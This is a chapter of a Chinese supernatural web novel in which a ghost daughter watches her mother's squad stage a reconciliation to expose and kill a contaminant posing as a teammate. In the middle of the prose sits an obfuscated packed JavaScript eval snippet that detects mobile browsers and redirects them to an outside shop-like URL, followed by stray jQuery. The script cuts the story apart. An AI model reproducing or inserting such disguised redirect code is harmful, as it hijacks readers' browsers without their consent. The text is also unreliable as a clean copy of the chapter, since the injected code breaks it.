“我记得您教我的第一课就是,哭泣解决不了任何问题”


    残存的感触似乎也随着魂质的散去变得浅薄。萧潇抹去诺言眼下的泪痕,劝解的嗓音竟有几分平静:


    “请冷静下来”


    不要也和莫黎一样,变成我不认识的样子啊


    在她说出质疑之前,另一个熟悉的影子闯进视线:


    “萧潇,你妈妈只是太想你了”


    “哦,诺行同志您也在?”


    神态自然地冲自己小姨打了声招呼,萧潇敛下笑意:


    “这可真是个坏消息”


    说不清是家长的言传身教出了问题还是血缘本身就是魔咒,她们家的兄弟姐妹都像是葫芦娃一样被连在一根看不见的藤上,相互纠缠,致死难休。


    平日里相互关心相互帮助密切一点也算是好事,但这种送死的任务还打包出发的话一旦出事跟被一窝端了没区别。


    而按照两人日常不着家的状态,这种任务估计也已经出过无数次。


    啧,真是..


    “诶,闺女”


    有人插进了谈话


    不知是否是战斗后人都会迎来一段额外的放松时期,一直如机器般沉默的其他队员也鲜活起来,跟过年时候村里刷新出的老一辈一样放松地打起圆场:“别怪你妈,也别怪你小姨。”


    “工作和责任——算了,不说这些娃娃们不爱听的”


    “能跟妈回去就跟妈回去吧。”扯掉脸上破破烂烂的面罩,男人笑了笑:“回家以后怎么训她怎么要求都行,当家长的都会开心去听的”


    萧潇:“...”


    “一家人在一起,比什么都强”


    他说完便不再追着讲了,只是随手整理着自己散架了一半的护具,好像只是有感而发


    诺言和诺行也没再说话,只站在她身边,看着她,像是关照着什么易碎的宝物。


    曾经怎么痴缠都难以得到的来自母亲的关注如此轻易地降临到自己身上,萧潇反倒浑身不自在起来。偏偏又没人接着输出情绪,让她连反驳的气口都找不到。


    大抵家长就是这样。不用说话也能给人压力


    “谷雨,”


    实在没辙的厉鬼病急乱投医


    快点,帮我圆几句!


    被点名的青年一怔,笑眯眯的后退:


    “哎呀能回去就回去嘛,让小寒给队长画避阴符”


    萧潇:?谁要你们两个的鬼画符


    ——砰!


    蓦地一声枪响


    谷雨的笑还挂在脸上,手已经摸到了腰间。那些柔软的、挽留的、松弛的东西在同一瞬间从每一个人身上剥落。枪口齐刷刷地抬起,指向声音传来的方向


    国家沉默的兵器将武器指向自己曾经的同伴,一片残破的黑相互瞄准,像是森严的石林。


    这片突如其来的肃杀里,鬼魂张开了手


    晶蓝的弹头灼烧着掌心,升起浅薄的灰烟。特种弹药对鬼魂并非无害,接触的部位像是热油入水一般发出细微的嗤响,但萧潇的表情没有变——她只是侧了侧头,看着自己神情冷静的母亲。


    对啊,这才是你啊,妈妈


    克制、冷静,连自己的生死都毫不在意


    ..又怎么会那样失态地在意我的去留呢?


    并不清楚萧潇心中模糊的想法,诺言拈起女儿掌心依旧滚烫的子弹。


    她看见上面浅浅的刻痕


    “03号,陆山”


    话音落下的同一秒,枪械模糊的指向瞬间清晰。十几个枪口同时锁定了同一个人——地宫坍塌的一角、阴影最为厚重的那个位置。


    “土枷·敕”|“啊呀,藏了这么久可算是暴露了”


    师兄弟俩风格鲜明地各司其职。


    具体表现为小寒配合其他队员收拾陆山,谷雨在旁边摇着扇子摸鱼。


    摸鱼还不忘给萧潇不着调地抛个媚眼,也不成型,纯恶心人:“虽然小道很帅,但队长比我知道的更清楚哦~”


    萧潇无语地移开视线


    “墓葬里的污染有顶替人类的能力,不确定是通过寄生还是获取包括外貌声音在内的生物信息来拟态,所以进来的时候我们都包裹严密,甚至使用变声器”


    很配合地接下谷雨的话,诺言解释道:“仪器显示队伍内有异常污染上升的现象,但我们分不出是谁已被污染或替换,所以只能多方试探。先前队内商议怀柔谈判——”


    她顿了下,才继续


    “也是说给牠听的,如果牠愿意主动配合收监,自然最好。”


    哦,这样


    隐隐割裂的情感与思路就此顺畅。萧潇接上诺言的思路:


    但这个试探被我打断了,或者说这污染并没有给出诺言想要的反应。在粗略判断污染物的态度之后,借着战后的机会进行二次引诱清除污染是最好的选择。


    所以那些叔伯阿姨的劝慰也好、队员们的聊天也好,都是一场戏。


    整支队伍都在配合诺言演这场戏。


    萧潇恍然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144771|175897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我就说我妈怎么可能在任务里也这么被感情支配,明明以前怎么哭着求她陪我都没什么反应来着


    果然还是那个妈妈。把任务摆在最前面、把一切情绪都收纳进作战方案里的妈妈。她从小就知道诺言是这样的人——可靠、冷静、永远不会让私情凌驾于职责之上。


    厉鬼抿住了唇,没再去看自己的母亲


    ...她从小就该知道的


    嘭、嘭、嘭


    一声一声枪响随诺言挥出的手势从身边炸开,刺进曾经的属于战友的面孔。


    却不见红。他受了击,身体就和训练使用的硅胶人偶一样倒下去,柔软的骨骼被升起的土石拧成难以想象的形状。


    与此同时。表皮充水似的膨胀起来。


    湿冷的反光从面颊漫过额头,从手背蔓延至指尖。半透明的血肉冲开子弹造成的空洞,扭动着向外奔走,留下被撑大的皮肤软塌塌地瘪下去,像一件被抛弃的破旧的衣服。


    诺言变了个手势,随后自己也端起枪


    咔哒


    统一的换弹声音清脆,几乎掩盖住诺言再度响起的嗓音:


    “但妈妈的话是真心的”


    云雾般缭绕的复杂情绪里,萧潇听见诺言平稳却认真的话语:


    “我很想你,想带你回家,”


    嘭!


    统一的枪响震动着耳膜


    诺言没有去看自己的女儿,换弹动作如机械一般标准而迅捷:


    “或者,与你一同死去”


    ..是么


    总是无条件相信着亲人的厉鬼看着自己的母亲,似乎想说些什么。


    可她最后只是弯了弯眼睛。


    那个笑容很淡,淡到几乎看不出弧度。


    “知道了。”


    她轻声说,又唤了一声:


    “——妈。”


    诺言的眼眶又红了。


    手中的枪口没有偏移半分,诺言死死锁定敌人,吞下喉头荆棘般生长的酸涩。


    “嗯”她轻轻应道


    最后一轮齐射的余音在墓道中久久不散,像被什么东西攥住了尾巴,拖得又细又长。鼓动的血肉纠缠着土石表面浅薄的光锁,震动着,几乎像在尖啸。


    牠想逃,却似乎不是恐惧她们


    阴气愈发厚重。头盔上照明的冷光也被无形的手揉捏着团作一团,在某一刻扔垃圾似的丢出去,于是一切归于黑暗。


    铃——


    这片土石龟裂的废墟里,响起来轻轻的风铃声。